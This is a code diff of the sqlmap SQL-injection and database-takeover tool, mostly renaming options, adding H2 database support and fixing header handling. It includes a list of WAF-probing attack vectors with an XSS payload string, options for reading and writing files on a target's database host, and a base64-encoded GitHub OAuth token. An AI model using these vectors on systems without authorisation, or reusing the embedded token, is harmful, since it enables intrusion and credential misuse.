-    Loads WAF/IPS/IDS detecting functions from script(s)
+    Loads WAF/IPS detecting functions from script(s)
     """
 
     if conf.identifyWaf:
@@ -1056,7 +1071,7 @@ def _setSafeVisit():
                     key, value = line.split(':', 1)
                     value = value.strip()
                     kb.safeReq.headers[key] = value
-                    if key == HTTP_HEADER.HOST:
+                    if key.upper() == HTTP_HEADER.HOST.upper():
                         if not value.startswith("http"):
                             scheme = "http"
                             if value.endswith(":443"):
@@ -1241,14 +1256,6 @@ def _setHTTPExtraHeaders():
         # Reference: http://stackoverflow.com/a/1383359
         conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache"))
 
-def _defaultHTTPUserAgent():
-    """
-    @return: default sqlmap HTTP User-Agent header
-    @rtype: C{str}
-    """
-
-    return "%s (%s)" % (VERSION_STRING, SITE)
-
 def _setHTTPUserAgent():
     """
     Set the HTTP User-Agent header.
@@ -1288,12 +1295,12 @@ def _setHTTPUserAgent():
         _ = True
 
         for header, _ in conf.httpHeaders:
-            if header == HTTP_HEADER.USER_AGENT:
+            if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                 _ = False
                 break
 
         if _:
-            conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent()))
+            conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT))
 
     else:
         if not kb.userAgents:
@@ -1308,10 +1315,10 @@ def _setHTTPUserAgent():
                 warnMsg += "file '%s'" % paths.USER_AGENTS
                 logger.warn(warnMsg)
 
-                conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent()))
+                conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT))
                 return
 
-        userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0]
+        userAgent = random.sample(kb.userAgents or [DEFAULT_USER_AGENT], 1)[0]
 
         infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent
         infoMsg += "file '%s'" % paths.USER_AGENTS
@@ -1352,6 +1359,19 @@ def _setHTTPCookies():
 
         conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie))
 
+def _setHostname():
+    """
+    Set value conf.hostname
+    """
+
+    if conf.url:
+        try:
+            conf.hostname = urlparse.urlsplit(conf.url).netloc.split(':')[0]
+        except ValueError, ex:
+            errMsg = "problem occurred while "
+            errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex))
+            raise SqlmapDataException(errMsg)
+
 def _setHTTPTimeout():
     """
     Set the HTTP timeout
@@ -1492,14 +1512,14 @@ def _cleanupOptions():
     if conf.url:
         conf.url = conf.url.strip()
 
-    if conf.rFile:
+    if conf.fileRead:
-        conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile))
+        conf.fileRead = ntToPosixSlashes(normalizePath(conf.fileRead))
 
-    if conf.wFile:
+    if conf.fileWrite:
-        conf.wFile = ntToPosixSlashes(normalizePath(conf.wFile))
+        conf.fileWrite = ntToPosixSlashes(normalizePath(conf.fileWrite))
 
-    if conf.dFile:
+    if conf.fileDest:
-        conf.dFile = ntToPosixSlashes(normalizePath(conf.dFile))
+        conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest))
 
     if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"):
         conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl)
@@ -1516,14 +1536,6 @@ def _cleanupOptions():
     if conf.optimize:
         setOptimize()
 
-    match = re.search(INJECT_HERE_REGEX, conf.data or "")
-    if match:
-        kb.customInjectionMark = match.group(0)
-
-    match = re.search(INJECT_HERE_REGEX, conf.url or "")
-    if match:
-        kb.customInjectionMark = match.group(0)
-
     if conf.os:
         conf.os = conf.os.capitalize()
 
@@ -1682,7 +1694,7 @@ def _setConfAttributes():
     conf.tests = []
     conf.trafficFP = None
     conf.HARCollectorFactory = None
-    conf.wFileType = None
+    conf.fileWriteType = None
 
 def _setKnowledgeBaseAttributes(flushAll=True):
     """
@@ -1696,6 +1708,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.absFilePaths = set()
     kb.adjustTimeDelay = None
     kb.alerted = False
+    kb.aliasName = randomStr()
     kb.alwaysRefresh = None
     kb.arch = None
     kb.authHeader = None
@@ -1779,6 +1792,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.injection = InjectionDict()
     kb.injections = []
     kb.laggingChecked = False
+    kb.lastInputMessage = None
     kb.lastParserStatus = None
 
     kb.locks = AttribDict()
@@ -1835,6 +1849,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.safeCharEncode = False
     kb.safeReq = AttribDict()
     kb.secondReq = None
+    kb.serverHeader = None
     kb.singleLogFlags = set()
     kb.skipSeqMatcher = False
     kb.reduceTests = None
@@ -2459,6 +2474,7 @@ def init():
     _setDNSServer()
     _adjustLoggingFormatter()
     _setMultipleTargets()
+    _listTamperingFunctions()
     _setTamperingFunctions()
     _setWafFunctions()
     _setTrafficOutputFP()
@@ -2466,10 +2482,10 @@ def init():
     _resolveCrossReferences()
     _checkWebSocket()
 
-    parseTargetUrl()
     parseTargetDirect()
 
     if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)):
+        _setHostname()
         _setHTTPTimeout()
         _setHTTPExtraHeaders()
         _setHTTPCookies()

lib/core/optiondict.py

@@ -165,9 +165,9 @@ optDict = {
     },
 
     "File system": {
-        "rFile": "string",
+        "fileRead": "string",
-        "wFile": "string",
+        "fileWrite": "string",
-        "dFile": "string",
+        "fileDest": "string",
     },
 
     "Takeover": {
@@ -227,6 +227,7 @@ optDict = {
         "disableColoring": "boolean",
         "googlePage": "integer",
         "identifyWaf": "boolean",
+        "listTampers": "boolean",
         "mobile": "boolean",
         "offline": "boolean",
         "purge": "boolean",

lib/core/settings.py

@@ -19,12 +19,13 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
 from lib.core.enums import OS
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.2.7.0"
+VERSION = "1.2.12.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
 DESCRIPTION = "automatic SQL injection and database takeover tool"
 SITE = "http://sqlmap.org"
+DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)
 DEV_EMAIL_ADDRESS = "[email protected]"
 ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
 GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
@@ -45,10 +46,10 @@ BANNER = """\033[01;33m\
 DIFF_TOLERANCE = 0.05
 CONSTANT_RATIO = 0.9
 
-# Ratio used in heuristic check for WAF/IPS/IDS protected targets
+# Ratio used in heuristic check for WAF/IPS protected targets
 IDS_WAF_CHECK_RATIO = 0.5
 
-# Timeout used in heuristic check for WAF/IPS/IDS protected targets
+# Timeout used in heuristic check for WAF/IPS protected targets
 IDS_WAF_CHECK_TIMEOUT = 10
 
 # Lower and upper values for match ratio in case of stable page
@@ -71,6 +72,7 @@ RANDOM_INTEGER_MARKER = "[RANDINT]"
 RANDOM_STRING_MARKER = "[RANDSTR]"
 SLEEP_TIME_MARKER = "[SLEEPTIME]"
 INFERENCE_MARKER = "[INFERENCE]"
+SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
 
 PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
 CHAR_INFERENCE_MARK = "%c"
@@ -97,6 +99,9 @@ MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
 # Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it)
 PRECONNECT_CANDIDATE_TIMEOUT = 10
 
+# Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support)
+PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP",)
+
 # Maximum sleep time in "Murphy" (testing) mode
 MAX_MURPHY_SLEEP_TIME = 3
 
@@ -170,6 +175,9 @@ PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3
 # Minimum time response set needed for time-comparison based on standard deviation
 MIN_TIME_RESPONSES = 30
 
+# Maximum time response set used during time-comparison based on standard deviation
+MAX_TIME_RESPONSES = 200
+
 # Minimum comparison ratio set needed for searching valid union column number based on standard deviation
 MIN_UNION_RESPONSES = 5
 
@@ -233,6 +241,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
 SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
 DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
 HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
+H2_SYSTEM_DBS = ("INFORMATION_SCHEMA")
 INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
 
 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -246,20 +255,21 @@ MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
 SYBASE_ALIASES = ("sybase", "sybase sql server")
 DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
 HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
+H2_ALIASES = ("h2",)
 INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
 
 DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
 
-SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + INFORMIX_ALIASES
+SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
 SUPPORTED_OS = ("linux", "windows")
 
-DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES))
+DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
 
 USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
 REFERER_ALIASES = ("ref", "referer", "referrer")
 HOST_ALIASES = ("host",)
 
-HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
+H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
 
 # Names that can't be used to name files on Windows OS
 WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
@@ -321,6 +331,7 @@ FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>
 
 # Regular expressions used for parsing error messages (--parse-errors)
 ERROR_PARSING_REGEXES = (
+    r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P<result>[^<]+)",
     r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
     r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
     r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
@@ -367,7 +378,7 @@ URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
 SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
 
 # Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
-SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred")
+SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred")
 
 # Maximum number of threads (avoiding connection issues and/or DoS)
 MAX_NUMBER_OF_THREADS = 10
@@ -406,7 +417,7 @@ REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
 REFLECTED_BORDER_REGEX = r"[^A-Za-z]+"
 
 # Regular expression used for replacing non-alphanum characters
-REFLECTED_REPLACEMENT_REGEX = r".+"
+REFLECTED_REPLACEMENT_REGEX = r"[^\n]{1,100}"
 
 # Maximum time (in seconds) spent per reflective value(s) replacement
 REFLECTED_REPLACEMENT_TIMEOUT = 3
@@ -426,6 +437,9 @@ DEFAULT_MSSQL_SCHEMA = "dbo"
 # Display hash attack info every mod number of items
 HASH_MOD_ITEM_DISPLAY = 11
 
+# Display marker for (cracked) empty password
+HASH_EMPTY_PASSWORD_MARKER = "<empty>"
+
 # Maximum integer value
 MAX_INT = sys.maxint
 
@@ -524,7 +538,7 @@ CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
 # Value to look for in response to CHECK_INTERNET_ADDRESS
 CHECK_INTERNET_VALUE = "IP Address Details"
 
-# Vectors used for provoking specific WAF/IPS/IDS behavior(s)
+# Vectors used for provoking specific WAF/IPS behavior(s)
 WAF_ATTACK_VECTORS = (
     "",  # NIL
     "search=<script>alert(1)</script>",
@@ -583,7 +597,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
 FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
 
 # Github OAuth token used for creating an automatic Issue for unhandled exceptions
-GITHUB_REPORT_OAUTH_TOKEN = "NTMyNWNkMmZkMzRlMDZmY2JkMmY0MGI4NWI0MzVlM2Q5YmFjYWNhYQ=="
+GITHUB_REPORT_OAUTH_TOKEN = "NTYzYjhmZWJjYzc0Njg2ODJhNzhmNDg1YzM0YzlkYjk3N2JiMzE3Nw=="
 
 # Skip unforced HashDB flush requests below the threshold number of cached items
 HASHDB_FLUSH_THRESHOLD = 32
@@ -673,7 +687,7 @@ MAX_HELP_OPTION_LENGTH = 18
 MAX_CONNECT_RETRIES = 100
 
 # Strings for detecting formatting errors
-FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
+FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
 
 # Regular expression used for extracting ASP.NET view state values
 VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -748,7 +762,7 @@ EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"
 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File."
 
 # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens
-CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf")
+CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token")
 
 # Prefixes used in brute force search for web server document root
 BRUTE_DOC_ROOT_PREFIXES = {
@@ -786,9 +800,9 @@ tr:nth-child(even) {
     background-color: #D3DFEE
 }
 td{
-    font-size:10px;
+    font-size:12px;
 }
 th{
-    font-size:10px;
+    font-size:12px;
 }
 </style>"""

lib/core/shell.py

@@ -53,30 +53,33 @@ def clearHistory():
     readline.clear_history()
 
 def saveHistory(completion=None):
-    if not readlineAvailable():
-        return
-
-    if completion == AUTOCOMPLETE_TYPE.SQL:
-        historyPath = paths.SQL_SHELL_HISTORY
-    elif completion == AUTOCOMPLETE_TYPE.OS:
-        historyPath = paths.OS_SHELL_HISTORY
-    elif completion == AUTOCOMPLETE_TYPE.API:
-        historyPath = paths.API_SHELL_HISTORY
-    else:
-        historyPath = paths.SQLMAP_SHELL_HISTORY
-
     try:
-        with open(historyPath, "w+"):
+        if not readlineAvailable():
+            return
+
+        if completion == AUTOCOMPLETE_TYPE.SQL:
+            historyPath = paths.SQL_SHELL_HISTORY
+        elif completion == AUTOCOMPLETE_TYPE.OS:
+            historyPath = paths.OS_SHELL_HISTORY
+        elif completion == AUTOCOMPLETE_TYPE.API:
+            historyPath = paths.API_SHELL_HISTORY
+        else:
+            historyPath = paths.SQLMAP_SHELL_HISTORY
+
+        try:
+            with open(historyPath, "w+"):
+                pass
+        except:
             pass
-    except:
-        pass
 
-    readline.set_history_length(MAX_HISTORY_LENGTH)
+        readline.set_history_length(MAX_HISTORY_LENGTH)
-    try:
+        try:
-        readline.write_history_file(historyPath)
+            readline.write_history_file(historyPath)
-    except IOError, msg:
+        except IOError, msg:
-        warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg)
+            warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg)
-        logger.warn(warnMsg)
+            logger.warn(warnMsg)
+    except KeyboardInterrupt:
+        pass
 
 def loadHistory(completion=None):
     if not readlineAvailable():

lib/core/target.py

@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import codecs
 import functools
 import os
 import re
@@ -45,6 +44,7 @@ from lib.core.enums import POST_HINT
 from lib.core.exception import SqlmapFilePathException
 from lib.core.exception import SqlmapGenericException
 from lib.core.exception import SqlmapMissingPrivileges
+from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.option import _setDBMS
@@ -52,9 +52,11 @@ from lib.core.option import _setKnowledgeBaseAttributes
 from lib.core.option import _setAuthCred
 from lib.core.settings import ASTERISK_MARKER
 from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
+from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import HOST_ALIASES
 from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
+from lib.core.settings import INJECT_HERE_REGEX
 from lib.core.settings import JSON_RECOGNITION_REGEX
 from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX
 from lib.core.settings import MULTIPART_RECOGNITION_REGEX
@@ -344,7 +346,7 @@ def _setRequestParams():
             # Url encoding of the header values should be avoided
             # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value
 
-            if httpHeader.title() == HTTP_HEADER.USER_AGENT:
+            if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper():
                 conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)
 
                 condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True)))
@@ -353,7 +355,7 @@ def _setRequestParams():
                     conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue}
                     testableParameters = True
 
-            elif httpHeader.title() == HTTP_HEADER.REFERER:
+            elif httpHeader.upper() == HTTP_HEADER.REFERER.upper():
                 conf.parameters[PLACE.REFERER] = urldecode(headerValue)
 
                 condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True)))
@@ -362,7 +364,7 @@ def _setRequestParams():
                     conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue}
                     testableParameters = True
 
-            elif httpHeader.title() == HTTP_HEADER.HOST:
+            elif httpHeader.upper() == HTTP_HEADER.HOST.upper():
                 conf.parameters[PLACE.HOST] = urldecode(headerValue)
 
                 condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True)))
@@ -467,7 +469,13 @@ def _resumeDBMS():
     value = hashDBRetrieve(HASHDB_KEYS.DBMS)
 
     if not value:
-        return
+        if conf.offline:
+            errMsg = "unable to continue in offline mode "
+            errMsg += "because of lack of usable "
+            errMsg += "session data"
+            raise SqlmapNoneDataException(errMsg)
+        else:
+            return
 
     dbms = value.lower()
     dbmsVersion = [UNKNOWN_DBMS_VERSION]
@@ -571,7 +579,7 @@ def _createFilesDir():
     Create the file directory.
     """
 
-    if not conf.rFile:
+    if not conf.fileRead:
         return
 
     conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
@@ -671,8 +679,10 @@ def _createTargetDirs():
 
         conf.outputPath = tempDir
 
+    conf.outputPath = getUnicode(conf.outputPath)
+
     try:
-        with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f:
+        with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f:
             f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)
             f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET))
             f.write("  # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding))
@@ -691,6 +701,13 @@ def _createTargetDirs():
     _createFilesDir()
     _configureDumper()
 
+def _setAuxOptions():
+    """
+    Setup auxiliary (host-dependent) options
+    """
+
+    kb.aliasName = randomStr(seed=hash(conf.hostname or ""))
+
 def _restoreMergedOptions():
     """
     Restore merged options (command line, configuration file and default values)
@@ -737,6 +754,9 @@ def initTargetEnv():
             setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original)
             kb.postSpaceToPlus = '+' in original
 
+    match = re.search(INJECT_HERE_REGEX, conf.data or "") or re.search(INJECT_HERE_REGEX, conf.url or "")
+    kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR
+
 def setupTargetEnv():
     _createTargetDirs()
     _setRequestParams()
@@ -744,3 +764,4 @@ def setupTargetEnv():
     _resumeHashDBValues()
     _setResultsFile()
     _setAuthCred()
+    _setAuxOptions()

lib/core/threads.py

@@ -92,10 +92,10 @@ def exceptionHandledFunction(threadFunction, silent=False):
         kb.threadException = True
         raise
     except Exception, ex:
-        if not silent:
+        if not silent and kb.get("threadContinue"):
             logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
 
-            if conf.verbose > 1:
+            if conf.get("verbose") > 1:
                 traceback.print_exc()
 
 def setDaemon(thread):
@@ -168,6 +168,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
 
     except (KeyboardInterrupt, SqlmapUserQuitException), ex:
         print
+        kb.prependFlag = False
         kb.threadContinue = False
         kb.threadException = True
 
@@ -188,7 +189,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
         kb.threadException = True
         logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
 
-        if conf.verbose > 1:
+        if conf.get("verbose") > 1:
             traceback.print_exc()
 
     except:

lib/core/update.py

@@ -17,6 +17,7 @@ import zipfile
 
 from lib.core.common import dataToStdout
 from lib.core.common import getSafeExString
+from lib.core.common import getLatestRevision
 from lib.core.common import pollProcess
 from lib.core.common import readInput
 from lib.core.data import conf
@@ -25,6 +26,7 @@ from lib.core.data import paths
 from lib.core.revision import getRevisionNumber
 from lib.core.settings import GIT_REPOSITORY
 from lib.core.settings import IS_WIN
+from lib.core.settings import VERSION
 from lib.core.settings import ZIPBALL_PAGE
 from lib.core.settings import UNICODE_ENCODING
 
@@ -39,6 +41,10 @@ def update():
         warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
         logger.warn(warnMsg)
 
+        if VERSION == getLatestRevision():
+            logger.info("already at the latest revision '%s'" % getRevisionNumber())
+            return
+
         message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
         if readInput(message, default='N', boolean=True):
             directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)

lib/parse/cmdline.py

@@ -99,16 +99,16 @@ def cmdLineParser(argv=None):
                            help="Force usage of given HTTP method (e.g. PUT)")
 
         request.add_option("--data", dest="data",
-                           help="Data string to be sent through POST")
+                           help="Data string to be sent through POST (e.g. \"id=1\")")
 
         request.add_option("--param-del", dest="paramDel",
-                           help="Character used for splitting parameter values")
+                           help="Character used for splitting parameter values (e.g. &)")
 
         request.add_option("--cookie", dest="cookie",
-                           help="HTTP Cookie header value")
+                           help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")")
 
         request.add_option("--cookie-del", dest="cookieDel",
-                           help="Character used for splitting cookie values")
+                           help="Character used for splitting cookie values (e.g. ;)")
 
         request.add_option("--load-cookies", dest="loadCookies",
                            help="File containing cookies in Netscape/wget format")
@@ -144,7 +144,7 @@ def cmdLineParser(argv=None):
                            help="HTTP authentication PEM cert/private key file")
 
         request.add_option("--ignore-code", dest="ignoreCode", type="int",
-                           help="Ignore HTTP error code (e.g. 401)")
+                           help="Ignore (problematic) HTTP error code (e.g. 401)")
 
         request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
                            help="Ignore system default proxy settings")
@@ -207,7 +207,7 @@ def cmdLineParser(argv=None):
                            help="Parameter used to hold anti-CSRF token")
 
         request.add_option("--csrf-url", dest="csrfUrl",
-                           help="URL address to visit to extract anti-CSRF token")
+                           help="URL address to visit for extraction of anti-CSRF token")
 
         request.add_option("--force-ssl", dest="forceSSL", action="store_true",
                            help="Force usage of SSL/HTTPS")
@@ -471,13 +471,13 @@ def cmdLineParser(argv=None):
         # File system options
         filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system")
 
-        filesystem.add_option("--file-read", dest="rFile",
+        filesystem.add_option("--file-read", dest="fileRead",
                               help="Read a file from the back-end DBMS file system")
 
-        filesystem.add_option("--file-write", dest="wFile",
+        filesystem.add_option("--file-write", dest="fileWrite",
                               help="Write a local file on the back-end DBMS file system")
 
-        filesystem.add_option("--file-dest", dest="dFile",
+        filesystem.add_option("--file-dest", dest="fileDest",
                               help="Back-end DBMS absolute filepath to write to")
 
         # Takeover options
@@ -617,7 +617,7 @@ def cmdLineParser(argv=None):
                                  help="Run host OS command(s) when SQL injection is found")
 
         miscellaneous.add_option("--answers", dest="answers",
-                                 help="Set question answers (e.g. \"quit=N,follow=N\")")
+                                 help="Set predefined answers (e.g. \"quit=N,follow=N\")")
 
         miscellaneous.add_option("--beep", dest="beep", action="store_true",
                                  help="Beep on question and/or when SQL injection is found")
@@ -626,7 +626,7 @@ def cmdLineParser(argv=None):
                                  help="Clean up the DBMS from sqlmap specific UDF and tables")
 
         miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
-                                 help="Check for missing (non-core) sqlmap dependencies")
+                                 help="Check for missing (optional) sqlmap dependencies")
 
         miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
                                  help="Disable console output coloring")
@@ -635,7 +635,10 @@ def cmdLineParser(argv=None):
                                  help="Use Google dork results from specified page number")
 
         miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
-                                 help="Make a thorough testing for a WAF/IPS/IDS protection")
+                                 help="Make a thorough testing for a WAF/IPS protection")
+
+        miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true",
+                                 help="Display list of available tamper scripts")
 
         miscellaneous.add_option("--mobile", dest="mobile", action="store_true",
                                  help="Imitate smartphone through HTTP User-Agent header")
@@ -647,7 +650,7 @@ def cmdLineParser(argv=None):
